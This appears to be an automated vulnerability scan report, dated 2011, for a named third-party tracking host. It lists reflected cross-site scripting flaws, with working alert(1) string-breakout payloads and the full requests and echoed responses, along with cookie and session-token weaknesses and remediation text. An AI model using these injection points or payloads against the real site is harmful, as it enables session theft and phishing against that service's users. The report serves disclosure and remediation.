XSS, DORK, Cross Site Scripting, track.roiservice.com, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:20:55 CST 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://track.roiservice.com/track/track.aspx [roiid parameter]

1.2. http://track.roiservice.com/track/track.aspx [msid938956107000029 cookie]

2. Session token in URL

3. Cookie scoped to parent domain

4. Cookie without HttpOnly flag set

4.1. http://track.roiservice.com/track/LogToDb.asp.aspx

4.2. http://track.roiservice.com/track/track.aspx



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://track.roiservice.com/track/track.aspx [roiid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://track.roiservice.com
Path:   /track/track.aspx

Issue detail

The value of the roiid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 39d0c'%3balert(1)//f3473a5b6bd was submitted in the roiid parameter. This input was echoed as 39d0c';alert(1)//f3473a5b6bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /track/track.aspx?roiid=93895610700002939d0c'%3balert(1)//f3473a5b6bd HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:39:38 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid93895610700002939d0c';alert(1)//f3473a5b6bd=7dada64b5d724429a414eeff1689b33b; domain=.roiservice.com; expires=Sun, 16-Feb-2031 12:39:38 GMT; path=/
Set-Cookie: GTT93895610700002939d0c';alert(1)//f3473a5b6bd=7dada64b5d724429a414eeff1689b33b; domain=.roiservice.com; path=/
Cache-Control: private
Content-Type: text/javascript; charset=utf-8
Content-Length: 1656

var ROIID='93895610700002939d0c';alert(1)//f3473a5b6bd';var sn = '7dada64b5d724429a414eeff1689b33b';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){gt_url+='&' + nm + '=' + esc
...[SNIP]...

1.2. http://track.roiservice.com/track/track.aspx [msid938956107000029 cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://track.roiservice.com
Path:   /track/track.aspx

Issue detail

The value of the msid938956107000029 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a97b'-alert(1)-'9db10bfbd0f was submitted in the msid938956107000029 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /track/track.aspx?roiid=938956107000029 HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29; msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd9a97b'-alert(1)-'9db10bfbd0f; GTT938956107000029=691a0920ff1d4b388d9279d9eab9d2fd; msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:41:28 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd9a97b'-alert(1)-'9db10bfbd0f; path=/
Set-Cookie: GTT938956107000029=691a0920ff1d4b388d9279d9eab9d2fd9a97b'-alert(1)-'9db10bfbd0f; domain=.roiservice.com; path=/
Cache-Control: private
Content-Type: text/javascript; charset=utf-8
Content-Length: 1114

var ROIID='938956107000029';var sn = '691a0920ff1d4b388d9279d9eab9d2fd9a97b'-alert(1)-'9db10bfbd0f';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){gt_url+='&' + nm + '=' + escape(vl);}function SGTC (name,value,expires,s
...[SNIP]...

2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://track.roiservice.com
Path:   /track/LogToDb.asp.aspx

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /track/LogToDb.asp.aspx?merchantid=938956107000029&merchantsessionid=691a0920ff1d4b388d9279d9eab9d2fd&description=LandingPage&pgurl=http%3A//www.ticketsnow.com/&amount=0&orderid=&cid=&sm=&referer=&nsid=691a0920ff1d4b388d9279d9eab9d2fd HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29; msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd; GTT938956107000029=691a0920ff1d4b388d9279d9eab9d2fd

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:39:20 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://track.roiservice.com
Path:   /track/track.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /track/track.aspx?roiid=938956107000029 HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:39:16 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid938956107000029=250eb0b43233466ba928891bf3d53ec6; domain=.roiservice.com; expires=Sun, 16-Feb-2031 12:39:16 GMT; path=/
Set-Cookie: GTT938956107000029=250eb0b43233466ba928891bf3d53ec6; domain=.roiservice.com; path=/
Cache-Control: private
Content-Type: text/javascript; charset=utf-8
Content-Length: 1628

var ROIID='938956107000029';var sn = '250eb0b43233466ba928891bf3d53ec6';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){g
...[SNIP]...

4. Cookie without HttpOnly flag set  previous
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://track.roiservice.com/track/LogToDb.asp.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://track.roiservice.com
Path:   /track/LogToDb.asp.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /track/LogToDb.asp.aspx?merchantid=938956107000029&merchantsessionid=691a0920ff1d4b388d9279d9eab9d2fd&description=LandingPage&pgurl=http%3A//www.ticketsnow.com/&amount=0&orderid=&cid=&sm=&referer=&nsid=691a0920ff1d4b388d9279d9eab9d2fd HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29; msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd; GTT938956107000029=691a0920ff1d4b388d9279d9eab9d2fd

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:39:20 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid938956107000029=691a0920ff1d4b388d9279d9eab9d2fd; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

4.2. http://track.roiservice.com/track/track.aspx  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://track.roiservice.com
Path:   /track/track.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /track/track.aspx?roiid=938956107000029 HTTP/1.1
Host: track.roiservice.com
Proxy-Connection: keep-alive
Referer: http://www.ticketsnow.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: msid939822107982222=f14f9cb3ba964c9eb84599b1a283db29

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:39:16 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: msid938956107000029=250eb0b43233466ba928891bf3d53ec6; domain=.roiservice.com; expires=Sun, 16-Feb-2031 12:39:16 GMT; path=/
Set-Cookie: GTT938956107000029=250eb0b43233466ba928891bf3d53ec6; domain=.roiservice.com; path=/
Cache-Control: private
Content-Type: text/javascript; charset=utf-8
Content-Length: 1628

var ROIID='938956107000029';var sn = '250eb0b43233466ba928891bf3d53ec6';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){g
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:20:55 CST 2011.